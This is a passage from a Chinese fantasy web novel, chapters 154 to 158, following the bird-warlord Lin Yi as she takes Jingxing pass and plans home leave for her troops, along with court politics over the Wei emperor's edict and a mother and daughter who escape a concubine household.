呼兰霍兰看向阳小公子的眼神一下子变得很冷厉,当着他的面,林一尴尬地都快把头皮抠破了,压低声音询问小孩,“你阿父昏睡前,坚持一字一句交代的,就是这、这个啊?” 她感觉这位投诚的郡守好像是因为遇伏伤到了脑壳的样子啊! 第154章 为了这些世族青年的人身安全,林一很快就把他们放出去了,有人急不可耐就要走,但也有人腻腻歪歪就是不肯,如今攻城最难的一关就是世族会拼命反抗了,也不知哪里听来的,反正靠近西北这边都说林一对世族非常横暴来着。 逻辑很通的嘛,有的是被郡守安排来的,有的是为了保全家族自己愿意的,毕竟关于林一的传闻里有很多……啊因为公子美貌而放过一家世族的事迹,尤其点名东莱王氏的王修,听说他一见面就飞扑进人家怀里,骚得可带劲。 林一不管这些,愿意的不愿意的一点都撵走,她真的是那种人、呸呸呸,她真不是那种人,鸟大王虽然口头上从来没提过道德,但她从不用这种脏办法搞男人,如果她的道德很败坏的话,那现在得建一个大宫殿放三宫六院,还不知放不放得下呢。 言归正传,在郡守府歇了一夜后,林一就让呼兰霍兰坐镇真定城,她自己则带着六千兵马出发前往井陉县,这里是常山郡的封口所在,拿下此地并完成驻军才算是完整拿下了常山郡,陉乃是天然形成的关隘或山脉断处,太行山脉起于河内,尾至幽州,著名的有八陉,八陉都是赫赫有名的军事要道,咽喉关隘。 井陉乃是太行八陉之一,就像是常山郡的一个豁口,守死住这里才能抵御敌军来袭,失井陉则失常山郡,失常山郡则失河北,所以这处井陉不亚于它的任何同僚,乃是至关重要的兵家要地。 林一带这么多兵来,最终的目标就是井陉,但井陉县自己却没感觉自己有多重要,往年天下太平,这些军事咽喉要道几乎都是走货的路,这两年甚至还败落了不少,原先的老县令去世后,上头没再安排人过来上任,这不奇怪。 因为这些偏远地方的县令通常有个流程,上报县令死了,地方上发给洛都,洛都回传给郡中,如果安排人接任就把人一块儿捎来,如果让地方上自行安排,那就郡守派人去上任,当然井陉这种关隘要地,一般还是上头派人来接任的。 老县令就死得不凑巧,当时正好赶上乱势初起了,那边朱大方从天水砍到太原,被江骋屠于汾水,林一闪电战攻下四郡,各地蠢蠢欲动,魏帝老头烦着呢,也没空管太行这边一个小地县令的死活。就随便安排了人来接任,然后这人又不大凑巧路上病死了,朝廷这边后来更乱了,而常山郡这边呢,外头个个郡守闹起独立,阳郡守都没敢闹,更别提自己安排人了,所以井陉县令的位置就空了挺久的。 现在是县尉代管,县尉是常山郡自己人,所以林一全军整肃又又又准备来一场硬仗的时候,人家县尉得知郡城投了之后,也很痛快地就开城门了,县城同时也是军城,人家就建在井陉这个位置上的。 林一欲言又止,她还太年轻,十年的从军经验让她记住的都是咬死人不放松的凶残虫族大军,来到这里之后打仗虽然轻松很多,但真少手握一处雄关,投得比土匪还快的,当初胶东那边甄及那个土匪窝子还是她拿几顿肉汤收买下来的嘞。 总之这趟狼突虎扑的,一拳头锤在棉花上了,林一又留在井陉军城中弄了一段时间的布防,悻悻然班师回朝。 巨鹿郡正式退居二线后,原先的巨鹿驻军就要换换位置了,林一从常山郡各家世族抽调了兵力近九千驻在巨鹿,巨鹿军调至常山,此时年关刚过。 雪域人对过年其实没那么深的执念,雪域人不喜欢雪,反而是夏秋季就等于过年,所以林一回到浮阳的时候,看到苏赫阿那和苏赫忽律都没什么抱怨的情绪,苏赫阿那给她备了一桌小宴,询问这次的战事情况。 林一吨吨吨了一大碗鱼汤,非常自然地忽略掉那个脑子有包的常山郡守,说起一路行军攻城(?)的事情来。 “其实还是天冷,这趟去的时候辎重带了不少,但是衣裳带得都不多,我看到有人把干草往衣裳底下揣了……这里没什么皮毛保暖。”林一边吃边摇头,“冬日行军有困难,本来想偷太原几个县的,还是没再打下去了,最重要的是,好像军中情绪都比较低落。” 这是林一从前没遇到过的事,仔细问了才知道,因为过年的缘故,她带的这些河北和辽东的将士都是习惯了过年一家子团圆热闹的,今年过年在行军路上过,难免就有些难受起来,加上林一也不准备打了,巩固了井陉防线后马上带兵回程,回来的路上就在琢磨,是不是应该给军中将士安排假期了。 她是这么对苏赫阿那说的:“中原和雪域不同,我们一个部落最多十二三万人,骑兵都和家人一起住,就算走得远了些也会回去,但是中原军队的驻防不一样,从这个城换到那个城之后,就和家眷分别了。我其实准备给他们安排一个期限,比如一个东莱兵,现在驻防在巨鹿的,他在巨鹿待满三年后就可以调回东莱,在这个期限前,我准备给他们一年放两次假,在路途的时间不算,一年之中有两个月的时间和家人团聚。” 苏赫阿那想了想,说道:“需要一个具体的章程,如一支万人军队不可能同时放假,要错开这个期限,保证军中至少有八千人驻防,此外也不一定只是士卒回家团聚,可以定期安排驿站车马交通往来,让士卒家里年轻些走得动的家人来探看,不过要严格筛查身份,不能让外来的探子混进来。” 林一听得连连点头,苏赫忽律忽然把一只大虎皮肘子咣一下砸进她的盘子里,咳嗽一声,“吃饭,吃饭。” 这会儿天气冷,但勃海这地方又不像辽东雪域那样的寒冷,所以屋里连个火盆都没有,聊了这么久士卒的事,桌上的菜有不少都冷了,不过肘子个大,除了皮凉,里头还是热气升腾,筷子一拨开皮就有白气上升,香气弥漫。 林一咧开嘴,很粗糙地伸出不怎么干净的大手,给苏赫阿那连皮带肉分了一大块,又把贴骨的一边撕开分给苏赫忽律,这才举起咬了一大口汁水丰盈的虎皮肘子肉,舒适! 这一顿饭,苏赫忽律也就浅浅吃完了林一分给他的一团肘子肉和半碗稻米饭,等走出门的时候,就回头看到林一和阿父又一次肩并肩头靠头说起军中事务了,仿佛还有今年的官员考评等,他没听懂几句,闷头往外走。 昨晚浮阳下了一场小雪,真的很小,在地上铺了薄薄的一层,走上去的脚印子都能把雪踩平,苏赫忽律在雪域就没见过这样小的雪,他嘎吱嘎吱走在雪地上,忽然看到王澈在郡守府里溜达,甚至都没有坐轮椅。 本来想绕过去的,但是想了想,苏赫忽律望了望四下无人,几大步凑了过去,还没等开口,就听王澈抽了几下鼻子问:“今天厨房做虎皮肘子了?” “啊?啊!”苏赫忽律应了两声,王澈就急着往回走了,因为厨房不可能给别人做了不给他做,郡守府用的是厨娘,几个厨娘上到五十下到十三,没一个不偏爱他的,所以他赶着回去吃饭。 苏赫忽律连忙堵住他的去路,稍微斟酌了一下,说道:“王、王先生,俺有个事想问你可成?” 王澈人站在雪地里,看起来真是个仙气乱飘,闻言便也和善地停住脚步,颔首示意他讲。 苏赫忽律的脸腾一下子红了,压低声音说道:“是这样,我有一个朋友,王先生你也知道,我们雪域的一些风俗,就是那个……那个……” 王澈给他补充道:“收继婚是吧?” 雪域青年的脸更红了,嘴很硬地说道:“对对,收继婚,跟你们中原不同的,然后我那个朋友他爹丧妻好些年了,前几年又找了一个妻子,很年轻,而且很有本事,慢慢地她就操持我那个朋友的家业了,然后她在外面养了人,我不是说她养了人不好啊,就是说,那个哈……” “你觉得她在外头养人,都不考虑你、哦你那个朋友,所以觉得委屈是吧?”王澈直接说道。 苏赫忽律现在真觉得王澈神了,连忙点点头,“是这样,我那个朋友现在已经不怎么想家业的事了,但是他觉得自己一不比阿、他爹差,二又不输给她后头养的那个男人,对,我那个朋友长得还行,不少人都很喜欢他的,就、就这个情况吧,王先生你觉得我应该怎么办?” 他又小声地说:“那位夫人,是不是有可能就是故意地在忽略掉他,为了让他自己赌气,我是这么想的。” 王澈拍了拍他的肩膀,由于急着回去吃肘子,想了想,非常肯定地说道:“对!就是这样的!你要让你的朋友鼓起勇气,直接去问就行。” 苏赫忽律心头猛然一跳,一回头,就看到王澈仙风道骨地离去了,背影中是说不出的坚定。 而他靠着树缓了缓气。 第155章 隔日亦小雪,崔凝白起了个大早,从郡守府出来就直奔浮阳馆驿,这里原先没有馆驿,是一处世族私产被查抄后改的馆驿,一进门就是热气扑面,熏香气味颇重。 这处馆驿从月前就腾出来专门招待考生了,虽然大部分世族都更愿意借宿在世族宅邸,但也有和浮阳这边世族不熟络的,尤其是女子不方便借宿,所以馆驿这边还住了挺多人的。当然,近来最出名的苏殷娘也住在这里,和另外两个也来自胶东的世家女住一个院子。 今日不少人都来给苏殷娘送行,有一些人认为苏殷娘必是被打压了,考中郡守官位极其困难,这是公认的,拢共三个人考中,一个王家主得了清河郡守之位,一个外来的虞轻马上要去巨鹿上任,怎么偏偏苏殷娘被打发去做县官? 崔凝白来时,一个白姓女郎正愤愤不平说着,“分明就是看不起女儿家,要是觉得深闺里没个做官经验,怎么河间那位就行?殷娘可是考中了的,考中了又打发去一县之地,凭甚……” 苏殷娘摆了摆手,虽然很明显也是气不过的样子,但很诚实地道:“不是同分,王家主算数错了,虞公子满分全对,我在一道律令题里失误,算起来我的确是最末的分数。” 周家的娘子则是又为她不平道:“那苏家出仕的条件也够了的,虞公子家里可没人出仕,他是外地来的。” 苏殷娘还是冷着脸,但又解释,“只是清河郡守有此等要求,他得的是巨鹿那边的官位。” 这些小姐妹这样为她不平,苏殷娘心中是很感动的,但是她之前情绪不好,没有说太多面试时的事情,到今天要离开馆驿前往范阳上任了,才知道她们误解了这么多,苏殷娘只是一板一眼地解释,但崔凝白一下子就看出来,两位说得最不平的姐姐下不来台了。 “哎呀!苏姐姐可要羞杀我了!”崔凝白小跑上前,虽然不是点头哈腰的样子,但也四处卖着乖,很快打了个圆场,哭唧唧地道:“苏姐姐可是现在所有考试里女子考官最最最厉害的一个了,我就是范阳的,方城县可真不是什么打发姐姐去的地儿,那可是富庶县城,就比郡城差些,可怜凝白这辈子都不敢想试试主事一县的滋味儿,姐姐这儿还嫌弃呢……” 这话说出来,原先几个愤愤不平的世族女郎都愣了一下,啊这……她们有的官试没过考过了吏目,有的考上了但只是微末小官,怎么想的觉得一出闺阁直接就是县令的苏殷娘受了大委屈啊。 苏殷娘还是冷着脸说:“没有嫌弃,这样一说,我倒觉得有些不安。” 可脸上是真的看不出来。 县令官对世家女来说不算陌生了,因为有时候县令就是提拔人才的一站,可以说一郡的大郡望之中,如果不是主支嫡脉,想要嫁个县令都属高攀的。毕竟世家联姻从来都是嫡系联姻,什么时候两家家主坐在一块儿,这个说我家旁支十六代有个小伙不错,可以配得你家庶出十八房那个歌姬生的幺女,那必然得有些分量才能谈联姻。 苏殷娘出身不算低了,苏家人比较能生,她上头有六个哥哥,底下还有一个妹妹,她是家中姨娘所出,自小的不肯服输,哥哥学什么她必然要跟着学什么,八岁起就在族学里有了个专门的小房间读书学习,反倒是很少回内院闺阁,有哥哥看不惯这个,曾经笑问她这样努力学习,是为了日后和夫君赌书泼茶,琴瑟和鸣吗。 那时苏殷娘很认真地做思考状,然后趁其不备,泼了哥哥一头一脸的热茶。 苏家不是很在乎嫡庶,当然世族谈婚事时,除了特别计较的,或者嫡女庶女年龄格外接近的,谈婚论嫁的人家也很少有计较嫡庶的,因为又不是专门娶嫡庶来的,所谓结两姓之好,娶的是女家的门第姓氏。苏殷娘相看过两次,一次和一个准备出仕的世家子,一次是东莱掖县的县令之子。 想到这些的时候,她才忽然有了些许实感,她将要为一县之长官,主事一方,她代表的不再是苏家女的门第姓氏,不是任人挑拣的待嫁女,而是——方城县令苏殷娘。 这样的认识让苏殷娘大冬天的一下子心口暖热,手掌热汗起来。 浮阳城外十里有亭台,崔凝白等人一直送苏殷娘出城十里,在十里亭处拂去积雪,众人又起哄让苏殷娘留诗在此,只是做了几首开头她都不大满意,再次硬邦邦地推拒掉了。 白雪满地,车马相送,众人各自散去,只有崔凝白在十里亭一个人坐了会儿,才翻身上马回城。 隔日,她又来十里亭送人,这次就清冷许多了,或者更直接点说,除了她压根没人来送。因为虞轻在浮阳城的这段时间,除了和藏书室里寥寥几个考生聊过天,没有上门拜访过世族,也没有和什么人结交过,今早离城也是偷偷走的,但是崔凝白从不放弃任何一个上升渠道,她一早就追过来相送了。 虞轻笑着说道:“崔女郎,真不舍得的人,不会说一大串话都不哽咽一声的。” 崔凝白马上闭上了嘴巴,片刻又笑开,嬉笑着说道:“虞公子,虞郡守,这趟送你出城,下次可不知何时相见了,世人常说富贵勿相忘,今日一别,虞郡守可千万不要忘记小妹呀!” 虞轻有些无奈,他极认真地道:“女郎若真心待我,可容我上门求亲,将身许我?” 听见这话,又看四野无人只有虞轻带一个半大书童,崔凝白一个大跳往后退了一大截,虞轻就眯着眼睛看她,嘴角仿佛还带着那么一丝冷笑。 崔凝白讪讪地说道:“公子说笑……正是、正是主君用人之际呢,来日再说可好?下次再会再谈。” 虞轻长叹了一声,拱手折身一礼,有些想发火又自己按下了,咬牙说道:“只请女郎日后不要待男子这样热情了!男女有别,官场也如此!哄我一片真心,纵是无意也过分了!” 他一礼行完,就朝着车马走去,崔凝白在他后头松了一口气。 看着车驾远去,小姑娘自己还反省了一下子,可能是殷勤过头了些,其实虞轻人蛮好的,长得也不错,就是、就是个头矮,这个她是决计不能妥协的,韩小六就猴相成那个样子了,他也是高高瘦瘦的啊,虞轻咧?他和她一般高! 可能心眼子多比较压个头,那也不对啊,殊堂哥个儿可不矮,王军师更是堂堂七尺,只能说……是不是因为南方人的缘故……咳咳咳咳! 郡守府那边,王澈连吃了几天肘子有些腻味了,今天单点的鱼汤喝,勃海这边的鱼滋味还是很不错的,这年头有人爱吃鱼生,就是生的鱼不经烹饪片好了蘸汁儿吃,这种人嘛活不长的,王澈就从来不吃生鱼。 正喝着鱼汤挑着刺,王澈忽然看到苏赫忽律一脸红扑扑地往外走,喊都喊不住,不由有些奇怪,心里头也难得打起了鼓。 这是成事了? 他感觉不大能猜的出来,因为鸟的想法和人不同,他已经在林一身上栽过几回,虽然觉得苏赫忽律很大概率不可能成的,但就这几天看他红着脸游魂似的在郡守府溜达,王澈又不大确信了。 但是再怎么说……大汗也在府邸里吧,真不能当着正房的面就应了这事吧?像呼兰霍兰,他多自觉啊,虽然不藏着掖着,但是会有意躲避开合苏赫阿那的接触,真要说起来,两人可是几乎没有见过面的,苏赫忽律真能这样嚣张? 王澈只是琢磨了一下子就不管了,又喝了一口鲜美的鱼汤,算了,俗世间的男女情爱已经不在他的眼里了。 这几日天气冷,算是开春前最冷的几天,不过林一寒暑不侵,主要就是冬天骨子懒,大王在外征战久了,这会儿正沉醉温柔乡呢,其实压根没对苏赫忽律做什么。 冬日天亮早,外头已经蒙蒙亮,其实还不到起床的时候,更何况一般只要林一在床上,苏赫阿那的作息就比较乱,今天一早,他还睡在里侧被窝的时候,林一听见窗户那边有动静,就下床去瞅了瞅,看到苏赫忽律扒在窗外,结结巴巴了半天,林一就听明白一句,是问她早上想吃什么。 鸟大王琢磨了一下,喜笑颜开地说:“让人弄点驴肉火烧吧,上次街边闻见味了,就是人多没挤进去。” 苏赫忽律似乎也挺饿的,他咽了咽口水就点点头,转身就走,看样子是去厨房点单了,林一也没大在意,光着脚往床上走,路过地上那摊衣物时还顺便踢开挡道的,呲溜一下钻进被窝里。 是的,人身鸟身都是一层皮,除了很严肃的场合,林一很少在意自己穿不穿衣服,反正也不冷。 可怜的苏赫忽律都忘记郡守府有厨房了,游魂似的出了府邸。 买火烧,嘿嘿,买火烧,嘿嘿。 第156章 林一精力很充沛,等苏赫忽律买了火烧回来,她吃了十几个,还记得给小漂亮留两个,至于苏赫阿那,他一般早上起不来,中午直接吃中饭就行。 苏赫忽律捧着两个火烧,也不知他准不准备吃,反正脸红得要命,早饭过后,苏赫阿那还是没醒,这是很正常的,反正林一厚着脸皮去郡守府的正堂代他开会。 原勃海郡守高若自打成了郡丞,每次来郡守府都和进大牢一样,嘴角是下撇的,眼睛是无神的。勃海郡两家大世族同气连枝,封家家主封时是高郡丞的表兄,他自家也有弟弟啊,但是对他们就一般般了,对高若却是视若亲子一样的兄长情怀。 这会儿俩人都四十来岁年纪了,封时还追在高若后头捧着一小碗燕窝,要让他多吃两口呢,这一幕几乎每天都发生,因为高若不怎么喜欢早上吃东西,而封时坚持人早上需要吃点东西。 高若上班开会本来就烦,也不耐烦喝那没怎么放糖的燕窝,推开小碗岔开话题道,“封哥,怎么大汗还没来——”话都没说完,一回头就看到林一鬼鬼祟祟摸进正堂,坐上主位,他想说什么又把嘴巴给闭上了。 都快忘记了,这地盘是鸟大王的,她要往那坐也是应该的,之所以快忘记了,高若可不会反省自己,当然也不是大汗的错,谁让大型鸟都是街溜子,他一年到头几乎没在郡守府见过林一几回,其实林一回来的次数不少,次次都是直奔内院。 一个大势力之主,能把自己干成这种可有可无,少了她也不差啥的地步,也是绝了的。 林一是真坐不住,高若汇报了一些昨日的工作情况,封时主管刑狱方面,他甚至一本正经地报了些村民有关于杀鸡抢鸡毛的争端,林一抓了抓脑袋,试探性地道:“这就是传说中的鸡毛蒜皮案?” 封时反倒挺严肃的,“近来冬日,案子频发,不光是争抢别人杀鸡遗落的鸡毛导致互殴,还有几桩恶劣的案子,比如偷盗邻家的柴门去烧火,昨日差役来报,城郊有恶少年拦路,抢了两个孩子一早起来去山上打的猪草,连筐都给抢走了。” 林一张大了鸟嘴。 这真的是……非常恶劣!她坐直身子,询问道:“怎么判的?” 封家主摇摇头,“大王明鉴,毕竟总不能为了两筐猪草判人入狱,判还了筐,勒令此人为两家打十天猪草,结案。” 猪草案后,林一坐在椅子上,终于发现不是所有事情都有其意义的,她左耳进右耳出,听了一个多时辰的鸡毛蒜皮,终于忍不住进入了梦乡。 今天是真没啥正事,林一睡了之后,正在汇报的人也闭上了嘴巴,陆陆续续出了正堂去各自的官署点卯,高*若顺手把自己的兔毛披风给林一盖上了。一出来他就后悔了,就像老虎睡雪地里还能浑身冒热乎气,他靠近的时候感觉林一热腾腾的像刚出锅的火烧,反倒是他,少了件披风出门马上冻得跳脚。 封时见状,把自己的大氅朝高若展开,高若马上像个扑向老母鸡的小鸡雏钻进去了,两个四十来岁的中年男人共用一个大氅并肩走,时不时还听见高若骂骂咧咧的,但是勃海郡的人见怪不怪,习惯了,多年兄弟成父子嘛。 快到中午的时候,勃海这边的雪就停了,雁门的雪还在下。 萧玲珑坐在廊檐下,两个小丫鬟服侍着,花园里唯一盛开的就是腊梅花,雪里红梅开得正艳。她在这里,江骋的姬妾们自然不会找晦气,不过仍然有脚步声,她皱眉看去,很快又松开,但也没起身,只是语气平平地道:“夫人找我?” 王清云算是萧玲珑半个婆婆,不过就和江骋基本不叫她阿娘一样,萧玲珑也只叫一声夫人,除了因为王清云看起来年纪不是很大外,也因为……不熟。 王清云笑了笑,在萧玲珑对面坐下,略组织了一下语言,轻声说道:“是有一事,前段时间赵氏又送了女儿来,身边跟着个陪嫁娘子,那陪嫁娘子是个小地驿丞的女儿,少将军事忙就安置在北苑那边的,叫宋诗诗,玲珑可记得?” 萧玲珑对这些姬妾还是有优越感的,她轻哼了一声,“不记得,近来送女进门的多了去了,一个驿丞女,还是陪嫁,大约随便安置在哪个屋子里了吧。” 王清云柔声劝慰道:“都是可怜人……” 萧玲珑不耐烦地放下茶盏,一手轻捂着肚腹,漂亮的眉头蹙起来,“夫人还是说正事,我从不觉得她们可怜,真会有人觉得这些贱人可怜吗?男人如此,女人也会?” 王清云微微摇头,大约是摸清楚了萧玲珑现在的脾气,笑了笑说道:“也不是什么正事,只是昨日那宋诗诗的母亲赶来寻我,哭说想带回女儿,是那做爹的黑心烂肺要卖女求荣,十分可怜,我也是一时……唉,就应了下来。” 萧玲珑心里有火,“什么意思?我这里是什么见不得人的地方吗?夫人应了带人走就是,又来跟我说什么?” 她一贯是这种脾气,要是王清云真的不经过她就放了人走,萧玲珑也会生气,王清云也没有露出无奈神色,而是继续温声细语地说:“那些姬妾微贱,父母不疼,家长不爱的,不知少将军爱重玲珑,送了人来也是白费罢了,就是玲珑心善,把她们送回去又能怎么样呢?还是要被货来货去,可是宋家女有母亲疼爱,加上又不是什么大族送来的,便饶她们母女归家去,好么?” 萧玲珑的火气淡了些许,烦闷地点点头,她主要是不想再和王清云拉扯下去了,叫人把宋诗诗带来。 不多时,雪地那头,一个年岁尚小的女孩儿被丫鬟领着过来,看起来怯生生的很是可怜,萧玲珑只是看了一眼,便道:“夫人带她去吧,就当做一回好事。” 王清云笑着起身谢过,把人领到南门角落处,那边有个年长妇人已经等了一早上,头上肩上都是雪,母女相顾无言,只是抱在一起小声哭泣。 萧玲珑回房的时候恰好走这条路,站着看了半晌,扭头走了。 宋家母女离开后不久,江骋就从城外军营回来了,听萧玲珑说起这对母女的事,也没有什么怪责的意思,抱起她笑道:“今日猎了几只鸟,送到厨下炖汤,野鸟不知滋味,要是味道好,你多饮几口。” 萧玲珑靠在他怀里,有短暂的失神和快乐,江骋越来越喜欢抱她了,她也越来越喜欢抱江骋,两个冰冷的人抱在一起,便也有了些许温柔暖热。 她亲了亲江骋的嘴角,今天第一次勾起嘴角,很开心的,“好呀!” 那边宋家母女出了杨家大宅,宋诗诗就问道:“阿娘,阿父那边不会生气吗?送了我来又要回去,他会不会打我们……” 宋母闺名金玉兰,村里屠户出身,家人早就死干净了,并没有个娘家回,听了女儿的话,她深吸一口气说:“咱不回家,阿娘早年在范阳认得一个妹子,教过她杀猪的手艺,她那边请了人来送咱们过去,再坏没有更坏的了,阿娘往后操持手艺,然后咱好好过日子。” 宋诗诗哭出一个鼻涕泡,觉得自己听出了阿娘的意思。 不回那个糟心的家了,不要那个做小吏的爹了,以后,阿娘杀猪养你啊! 宋诗诗真觉得自己比那个主家大族的小姐幸福得多了,哪怕以后跟着阿娘天天吃猪下水,她也是个幸福的小女孩儿呜呜。 接下来一路车马到范阳,到军营,到看着阿娘过几轮武试,然后领到了盔甲和三间大宅带五亩地,坐在新家新打的大木床上,宋诗诗呆住了。 金玉兰把长刀拍在桌子上,戴上了新制的铁兜鍪,回头看到女儿柔弱呆滞的脸,笑声爽朗豪迈,“孙妹子说得对,杀猪哪有杀人来钱快,还要从头给俺诗诗置办家业,不如从军伍,俺是真木想到范阳这边能开女子武试,妹子跟我说的时候,我以为她杀猪缺人手嘞。” 宋诗诗看起来都快碎了,颤抖着说道:“所以阿、阿、阿娘,不是杀猪养我,而是杀人养……” 金玉兰一把把她按在自己宽阔的胸怀里,温柔慈爱地说道:“咋能这么说,鸟大王泽被万方,跟她作对的哪有好人啊,要是有一天打去西北,不砍恁爹两刀算我爪子软!” 鸟、鸟大王都叫上了吗? 宋诗诗真的挺害怕的,她自小随爹,个头不高性子软,吹点风都能倒,这趟被送去陪嫁,她以为自己会像一朵花儿一样凋零在杨家大宅里,她甚至连江骋的面都没见过,结果峰回路转……转得也太快太快了吧? 但是阿娘就是阿娘,宋诗诗哇地一声又哭出了鼻涕泡,紧紧地抱着金玉兰的腰。 往后,阿娘杀人我递刀,阿娘从军我从笔,呜呜呜呜呜呜呜! 第157章 二月十四,诸事皆宜。 今年春来早,辽东那边还在等倒春寒过去,河北的农田已经是全家老少齐上阵,在田里忙活整地,林一也在郡守府的花园里垦了块地出来种土豆,她有着丰富的种植土豆的经验,折腾了几天下完种,就像个骄傲的看家鸡一天过去绕三趟。 林一现在的鸟形可称威风凛凛,也异常漂亮,黑羽完全褪去之后,新生的羽毛乃是金红为主色,在阳光下呈现出一种五彩的薄光,像镀膜一样的绚丽,头上和尾羽偏金色一些,鸟身是类鸵鸟的宽厚背脊,红羽为主。而原本嫩黄的鸟喙颜色深了许多,更加偏向金属色泽,脖颈细长如鹅,上面覆盖的鳞片也是金红双色,那条被尾羽覆盖的水生鱼尾则比较像鲤鱼尾巴,游动起来比幼生期时更加灵活有力。 当然,看起来更加像是巨型美化混沌异形版的七彩山鸡了…… 说实在的,之前谁都以为乱世得是天下大乱到处杀伐来着,尤其那些方士说得很凶残,说争天下的没好人,要么暴君要么霸王的,但是自打各地反王起来之后,大伙发现吧,自家的小反王并不会吃窝边草,他出去又打不过别人,也没法劫掠别家,等于是各郡县自己家里闹着玩,而人家做大做强的大反王们,那日子更平和了。 林一这边忙着春耕秋收,因为她占的地好,粮食这样的大头是真压秤,她冬天的时候收购了一批,转手还卖给西北那边了,价钱不错,倒完手给士卒发了足足的军饷。 陆行胃口是很不错的,目前已经打到江夏郡了,他的地盘和林一的略相似,也是一个三角状,以江东为二角,尖角至江夏。 江骋自从打下上谷和代郡之后是真打不动了,他又不是什么魔鬼,在不打仗的时候,他也不会无故搞屠杀,反而杨裳很能稳定军心民心,他是个被武将行业耽误的好郡守。 之所以不往外打了,纯就是没那么多兵,势力有一个消化期,严格来说林一也才消化掉了辽东而已,辽东青壮皆愿意为她而战,这才叫消化掉了。被推上战场的兵永远打不出战力,真正能用的精锐万儿八千的就足够了,假如一个人号称有百万之师,那么他的精锐兵力超过三万都算他牛逼大发了。 当然,目前三大反王都是头一次造反没啥经验,也不怎么好意思吹嘘自己,林一这边浅浅地吹了个牛皮,自称有“大军二十万”,陆行作为她的手下败将,不好吹得太过,就自称江东水师十八万。江骋这边是以黑水骑兵三千之数与杨裳的雁门杨家军一万作为基础,太原和上党世家作为最初合伙人每家出私兵五千归入江骋帐下,然后就没然后了,江骋并没有扩军,他的军队不要杂兵,只要精锐。 三家的地盘合在一起就很幽默,中间的几郡一都就正好是魏朝现在的地盘,等于三方把魏朝围了起来,还是很严格的围三阙一,给洛都方面留了一条自颍川、汝南、再往南郡,最后逃往长沙的坦途。 但是!不能跑,南逃才是死路,如今魏朝的位置正好在三家合抱的方位,一旦逃了,人家三家中间留出这么大一块肥地,失却中原尊位,魏朝这边死得更快,反之,仍旧占据洛都,便还有几分昔日王朝的旧威。 春二月末,魏帝萧宏生了一场大病,太子在宫里冠冕都戴好了,魏帝俩眼一睁,醒了。他又又又一次命硬熬过来了,而且醒来后大怒,把太子下了圈禁,不少官员还以为他又要搞老一套呢,但是隔了没几天,老头又把太子给放了。 没法子呀,萧宏已经打定主意,他不做那个亡国之君,现在还能熬几年是几年,万一命长熬到被打进洛都,他就火速传位太子,他做倒数第二个魏帝,儿子做魏末帝。 在醒来后,萧宏分别做了两件大事,第一件,宣布林一不是他的女儿玲珑公主,民间谣传均不属实,乃是奴婢弑主冒充公主和亲,啊对,他顺便把公主下落给圆过去了,这可不是菜鸡操作,而是从法理上锤林一一拳。 第二件,正式册封杨裳为异姓王,王号朔西,同时将江骋册为世子,加封定桓大将军,几乎是直接把江骋打下来的那些土地划为封疆之地,命杨裳父子出师讨逆。 至于谁是逆,嘎嘎!江骋总不能飞越过林一的地去打陆行吧? 总之,圣旨是下到雁门地方了。 雁门大营之中,文武分席,杨裳坐于主位,江骋却也没有坐下首,而是在杨裳身边有一个单独的位置,这不是后来有的,而是江骋拜父之初,杨裳就定下的位次,送走使节,杨裳便道:“魏帝老儿打得好算盘,封王于我来说虽然名正言顺了些,但仓促去攻林女也绝非什么易事。” 他脸其实还蛮大的,说得好像艰难一些能打下来似的。 江骋没有那个装逼的习惯,他等杨裳说完,拧眉说道:“林一此人,喜好追逐军心民心,轻蔑世家,她的根基也在军民之心能为其所用,倒是魏帝陆行之流不必放在眼中,魏帝此举,无非举敌之矛攻敌之盾,而我们所得只是些许名分,实划不来。” 杨裳心里不大爱听这个,不置可否,又看向赵氏的一名谋臣,那谋臣眼神微动,出言说道:“少将军,魏朝四百年国祚,乃堂皇之王朝,若能得其正名,我西北军便是出师有名,乃勤王之师,有名亦有实,虚名也是利,何况如今北地双雄并立,不攻林女,难道让她半壁江山?迟早之事也。” 江骋眉头还是拧着,“正如阿父所说,如今仓促,魏帝不安好心,就算要攻,也不是现在。” 席位上有一中年人忽然长身立起,对杨裳略一拱手,沉声说道:“主公,澄有一言,请主公细思。那林一虎踞燕齐之地,自历战以来几无败绩,少将军虽骁勇无双,但不曾与她交战过,前番江东王去势汹汹,也很快折戟,而我西北初定,尚有朔方未收,如今是我怕她,她怕我,竹竿打狼两头畏怯,正是争分夺秒的势力消化期,贸然出战,林一倘若不敌少将军自然最好,可若被她击败,主公又当如何?” 是的,名将未见败绩之时,都有一个积累起来的“势”,有的心气高的人真的撑不住那一败,江骋和林一都是这个状态,两家现在接壤啊,身后势力都不拉跨,林一要是败了,杨裳这里乘胜追击肯定能吃得满嘴流油,江骋若败呢?林一后头的雪域汗王是吃素的?到时候不知要损失多少人和地。 当然,这谋士看得出来,杨裳一辈子就图个权名,权现在他是得到了,可是名不大好听,哪家反王的名声好听了?现在能争个霸王的名号都不错了,那些方士也是的,不晓得说好听话! 他缓和语气,说道:“当然,圣旨既下,接了就是,主公完全可以先答应下来,接了王玺戴了冠冕,办个二三月的仪式,招兵买马再花半年,什么时候出兵,那不也是迟早的事,使节那里,招待他个一年半载又不是花费不起。” 杨裳的脸色顿时和缓了起来,帐中文武看他脸色,气氛也为之一松,还有人调笑说道:“王澄,真有你的,是不是大世族脑瓜子都这样灵光的?听说你家幼女都在河间做郡守了。” 王澄脸色不变,有的世族那是没条件几头下注,身家全家人家核心老巢区,王氏既然有那个两头下注的机缘,被人调笑几句又怎地? 果然这人这话不中听,杨裳都瞪过去一眼,王澄是他夫人的小叔,也是他的内叔父,这是自家亲戚,至于王澈的事他早些年就知道,而王清英那边他又不觉得可惜,一个女人就是有些本事,他也不可能给她个郡守位置做,去林一那边就去呗。 他反倒是比较心疼当初跟王澈走的那一批王氏族人,主要那会儿他也没想到以后的事啊,要是那些人没走,在他这边肯定能得到更多提拔。 事情就此定了下来,封王肯定要,不要白不要,至于去讨伐逆贼,讨伐肯定讨伐,但是要有规范,有计划,要庙算好一切,至于什么时候去讨伐?等我这边封王结束的,封完王我还得秋收,秋收了我还得修修屋子防漏雨的。 与此同时,林一也收到了自己被归为奴婢弑主,冒充公主和亲,野心勃勃,祸乱江山社稷的那一档的消息。 正在地里吃虫的林一啄着个菜青虫愣住了,用翅尖指了指自己的鼻子,不可置信地嘎出了声,菜青虫一落地就蛄蛹着躲入杂草堆里,林一都没有注意,再次指了指自己。 来报信的人沉重地点了点头,林一的嘴巴张得更大了。啊我?我祸乱的江山? 就这、这么大的一口锅扣下来,是准备拔毛烧鸟汤喝吗? 第158章 